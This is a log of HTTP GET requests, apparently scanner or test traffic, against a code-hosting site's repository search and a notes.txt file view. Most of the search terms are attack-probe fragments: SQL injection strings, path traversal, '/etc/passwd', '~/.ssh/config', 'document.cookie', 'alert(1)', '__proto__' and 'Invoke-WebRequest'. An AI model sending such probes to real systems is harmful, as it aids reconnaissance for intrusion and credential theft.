{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
